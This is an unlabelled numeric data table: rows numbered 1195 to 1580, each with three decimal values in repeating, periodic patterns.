1195 4.2 8.7 1.4
1196 4.2 8.7 1.4
1197 3.2 8.7 1.4
1198 3.1 8.7 1.4
1199 1.8 8.7 1.4
1200 1.8 8.7 1.4
1201 1.8 8.7 1.4
1202 1.6 8.7 1.4
1203 1.6 8.7 1.4
1204 1.8 9.7 1.6
1205 1.8 9.7 1.6
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1206 1.8 9.7 1.6
1207 4.2 43.4 4
1208 4 42.5 4
1209 4 42.5 4
1210 4 42.5 4
1211 4 42.5 4
1212 5.2 47.2 5.4
1213 5.4 50.2 5.4
1214 3.8 41.5 3.8
1215 5.4 50.3 5.4
1216 5.4 50.3 5.4
1217 3 16.6 3
1218 3 16.6 3
1219 3 16.6 3
1220 3 16.6 3
1221 3 16.6 3
1222 1.8 11.9 1.6
1223 3 16.6 3
1224 3 16.5 3
1225 1.4 7.7 1.4
1226 1.4 7.7 1.4
1227 1.4 7.7 1.4
1228 1.4 7.7 1.4
1229 1.4 7.7 1.4
1230 1.4 7.7 1.4
1231 1.4 7.7 1.4
1232 1.4 7.7 1.4
1233 0 0 0
1234 1.6 8.9 1.6
1235 1.6 8.9 1.6
1236 1.6 8.9 1.6
1237 1.6 8.9 1.6
1238 2.4 20.2 2.4
1239 2.4 20.2 2.4
1240 2.4 20.2 2.4
1241 2.4 20.2 2.4
1242 2.6 21 2.6
1243 3.6 26.8 3.6
1244 3.4 25.6 3.4
1245 3.4 25.6 3.4
1246 3.4 25.6 3.4
1247 3.4 25.6 3.4
1248 2.6 14.3 2.6
1249 2.6 14.3 2.6
1250 2.6 14.3 2.6
1251 2.6 14.3 2.6
1252 2.4 13.5 2.4
1253 2.6 14.3 2.6
1254 1.2 6.7 1.2
1255 1.2 6.7 1.2
1256 1.2 6.7 1.2
1257 1.2 6.7 1.2
1258 1.2 6.7 1.2
1259 1.2 6.7 1.2
1260 1.2 6.7 1.2
1261 1.2 6.7 1.2
1262 1.2 6.7 1.2
1263 1.2 6.7 1.2
1264 1.2 6.6 1.2
1265 1.2 6.6 1.2
1266 1.2 6.6 1.2
1267 4 45.9 4
1268 4 45.9 4
1269 4 45.9 4
1270 4 45.9 4
1271 4 45.9 4
1272 4 45.9 4
1273 4 45.9 4
1274 5 51.5 5
1275 5 51.5 5
1276 5 51.5 5
1277 2.2 12.2 2.2
1278 2.2 12.2 2.2
1279 2.2 12.2 2.2
1280 2.2 12.2 2.2
1281 2.2 12.2 2.2
1282 2.2 12.2 2.2
1283 2.4 13.3 2.4
1284 1.4 7.7 1.4
1285 1.4 7.7 1.4
1286 1.4 7.7 1.4
1287 1.4 7.7 1.4
1288 1.4 7.7 1.4
1289 1.4 7.7 1.4
1290 1.4 7.7 1.4
1291 1.4 7.7 1.4
1292 1.4 7.7 1.4
1293 0.2 1.1 0.2
1294 1.4 7.8 1.4
1295 1.4 7.8 1.4
1296 1.4 7.8 1.4
1297 1.4 7.8 1.4
1298 2.6 24.6 2.6
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1299 2.6 24.6 2.6
1300 2.6 24.6 2.6
1301 2.6 24.6 2.6
1302 2.6 24.6 2.6
1303 4 32.3 4
1304 3.8 31.1 3.8
1305 3.8 31.1 3.8
1306 3.8 31.1 3.8
1307 3.8 31.1 3.8
1308 2.6 14.3 2.6
1309 2.6 14.3 2.6
1310 2.6 14.3 2.6
1311 2.6 14.3 2.6
1312 2.6 14.3 2.6
1313 2.6 14.3 2.6
1314 1.6 8.9 1.6
1315 1.6 8.9 1.6
1316 1.6 8.9 1.6
1317 1.6 8.9 1.6
1318 1.6 8.9 1.6
1319 1.6 8.9 1.6
1320 1.6 8.9 1.6
1321 1.6 8.9 1.6
1322 1.6 8.9 1.6
1323 0 0.1 0
1324 1.6 8.8 1.6
1325 1.6 8.8 1.6
1326 1.6 8.8 1.6
1327 4 42.5 4
1328 4 42.5 4
1329 4 42.5 4
1330 4 42.5 4
1331 4 42.5 4
1332 4 42.5 4
1333 5.4 50.2 5.4
1334 4.8 47 4.8
1335 4.8 47 4.8
1336 4.8 47 4.8
1337 2.4 13.3 2.4
1338 2.4 13.3 2.4
1339 2.4 13.3 2.4
1340 2.4 13.3 2.4
1341 2.4 13.3 2.4
1342 2.4 13.3 2.4
1343 1 5.6 1
1344 1.4 7.7 1.4
1345 1.4 7.7 1.4
1346 1.4 7.7 1.4
1347 1.4 7.7 1.4
1348 1.4 7.7 1.4
1349 1.4 7.7 1.4
1350 1.4 7.7 1.4
1351 1.4 7.7 1.4
1352 1.4 7.7 1.4
1353 1.4 7.7 1.4
1354 1.6 7.9 1.6
1355 1.6 8.9 1.6
1356 1.6 8.9 1.6
1357 1.6 8.9 1.6
1358 1.6 8.9 1.6
1359 3.6 37 3.6
1360 3.6 37 3.6
1361 3.6 37 3.6
1362 3.6 37 3.6
1363 4.6 42.5 4.6
1364 4 40.1 4
1365 4 39.1 4
1366 4 39.1 4
1367 4 39.1 4
1368 4 39.1 4
1369 2 11 2
1370 2 11 2
1371 2 11 2
1372 2 11 2
1373 1 5.5 1
1374 1.6 8.8 1.6
1375 1.6 8.9 1.6
1376 1.6 8.9 1.6
1377 1.6 8.9 1.6
1378 1.6 8.9 1.6
1379 1.6 8.9 1.6
1380 1.6 8.9 1.6
1381 1.6 8.9 1.6
1382 1.6 8.9 1.6
1383 1.6 8.9 1.6
1384 0.4 2.3 0.4
1385 1.2 6.6 1.2
1386 1.2 6.6 1.2
1387 4 45.3 3.9
1388 4 45.3 3.9
1389 4 45.3 3.9
1390 4 45.3 3.9
1391 4 45.3 3.9
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1392 4 45.3 3.9
1393 5.4 53 5.3
1394 5.2 51.6 5.1
1395 5.4 53.1 5.3
1396 5.4 53.1 5.3
1397 2.6 14.4 2.6
1398 2.6 14.4 2.6
1399 2.6 14.4 2.6
1400 2.6 14.4 2.6
1401 2.6 14.4 2.6
1402 2.6 14.4 2.6
1403 1.2 6.7 1.2
1404 2 11.4 2
1405 1 5.5 1
1406 1 5.5 1
1407 1 5.5 1
1408 1 5.5 1
1409 1 5.5 1
1410 1 5.5 1
1411 1 5.5 1
1412 1 5.5 1
1413 1 5.5 1
1414 1 5.5 1
1415 1 5.6 1
1416 1 5.6 1
1417 1 5.6 1
1418 1 5.6 1
1419 2.4 23.6 2.2
1420 2.6 28.1 2.6
1421 2.6 28.1 2.6
1422 2.6 28.1 2.6
1423 3.8 34.7 3.8
1424 2.8 29.2 2.8
1425 4.4 37.1 3.6
1426 5.2 40.7 3.6
1427 5.2 40.7 3.6
1428 6 44.3 3.6
1429 4.6 26.3 2.4
1430 4.4 21.8 2
1431 5.2 25.4 2
1432 5.2 25.4 2
1433 4 18.8 0.8
1434 5.6 27.6 2.4
1435 4.8 23.3 1.6
1436 4 19.7 1.6
1437 4 19.7 1.6
1438 3.2 16.1 1.6
1439 3.2 16.1 1.6
1440 4 19.7 1.6
1441 3.2 16.1 1.6
1442 3.2 16.1 1.6
1443 3.2 16.1 1.6
1444 2.6 12.8 1
1445 1.8 9.1 1
1446 2.6 12.7 1
1447 4 19.8 1
1448 5.4 52.2 3.8
1449 5.4 52.2 3.8
1450 4.6 48.6 3.8
1451 4.6 48.6 3.8
1452 4.6 48.6 3.8
1453 6.8 59.9 5.2
1454 5.8 54.4 4.2
1455 7.2 62.2 5.6
1456 6.4 58.6 5.6
1457 5 51.5 5.6
1458 3.6 19.1 2.8
1459 3.6 19.1 2.8
1460 3.6 19.1 2.8
1461 4.4 22.7 2.8
1462 4.4 22.7 2.8
1463 3.4 18 2.6
1464 3.4 18 2.6
1465 2 10.2 1.2
1466 2 10.2 1.2
1467 2 10.2 1.2
1468 2 10.2 1.2
1469 2 10.2 1.2
1470 2.8 13.8 1.2
1471 2 10.2 1.2
1472 2 10.2 1.2
1473 0.8 3.6 0
1474 2 10.2 1.2
1475 2 10.3 1.2
1476 2 10.3 1.2
1477 2 10.3 1.2
1478 2 10.3 1.2
1479 4 38.4 3.2
1480 4 38.4 3.2
1481 4 38.4 3.2
1482 4 38.4 3.2
1483 5 43.9 4.2
1484 5 43.9 4.2
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1485 5 43.8 4.2
1486 5 43.8 4.2
1487 5 43.8 4.2
1488 5 43.8 4.2
1489 3 15.7 2.2
1490 2.2 12.1 2.2
1491 2.2 12.1 2.2
1492 2.2 12.1 2.2
1493 2 10.2 2.4
1494 0.8 3.6 1.2
1495 0.8 3.6 1.2
1496 2 10.2 1.2
1497 2 10.3 1.2
1498 2 10.3 1.2
1499 2 10.3 1.2
1500 2 10.3 1.2
1501 2 10.3 1.2
1502 2 10.3 1.2
1503 2 10.3 1
1504 2 10.3 1
1505 2 10.3 1
1506 0.8 3.7 1
1507 1.8 9.1 3.8
1508 1.8 9.1 3.8
1509 1.8 9.1 3.8
1510 4.6 48.7 3.8
1511 4.6 48.7 3.8
1512 4.6 48.7 3.8
1513 4.6 48.7 4.6
1514 4.6 48.7 5.6
1515 4.6 48.7 5.6
1516 6.2 57.5 5.6
1517 6.4 58.7 2.8
1518 6.4 58.7 2.8
1519 6.4 58.7 2.8
1520 3.6 19.1 2.8
1521 3.6 19.1 2.8
1522 3.6 19.1 2.8
1523 3.6 19.1 1.8
1524 3.6 19.1 0.8
1525 3.6 19.1 0.8
1526 3 15.6 0.8
1527 2 9.8 0.8
1528 2 9.8 0.8
1529 2.2 10.7 0.8
1530 2.2 10.7 0.8
1531 2.2 10.7 0.8
1532 2.4 11.6 0.8
1533 2.4 11.6 0
1534 2.4 11.6 1
1535 2.4 11.6 1
1536 1.6 7.2 1
1537 2.4 11.9 1
1538 2.4 11.9 2.2
1539 2.2 11 2.2
1540 2.2 11 2.2
1541 3.2 16.5 2.2
1542 3.4 27.8 3.2
1543 3.4 27.8 3.2
1544 3.4 27.8 3.4
1545 4.4 33.3 3.4
1546 4.2 32.4 3.4
1547 4.6 34.3 3.4
1548 4.6 34.3 2.2
1549 4.6 34.3 2.2
1550 4.6 34.3 2.2
1551 3.6 28.8 2.2
1552 3.2 16.6 1.2
1553 3.2 16.6 2.8
1554 3.4 17.5 1.6
1555 2.4 12 1.6
1556 4 20.8 1.6
1557 2.6 13.4 1.6
1558 2.6 13.4 1.6
1559 2.6 13.4 1.6
1560 2.6 13.4 1.6
1561 2.6 13.4 1.6
1562 2.8 14.3 1.6
1563 2.8 14.3 0
1564 2.6 13.4 1.2
1565 2.6 13.4 1.2
1566 1 4.6 1.2
1567 2.2 11.1 4
1568 2.2 11.1 4
1569 2.2 11.1 4
1570 5 50.5 4
1571 5.2 51.4 4
1572 5 50.5 4
1573 4.2 46.9 4
1574 4.2 46.9 2.8
1575 4.2 46.9 2.8
1576 4.2 46.9 2.8
1577 3 40.3 0
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1578 3 40.3 0
1579 3 40.3 0
1580 0.2 0.9 0
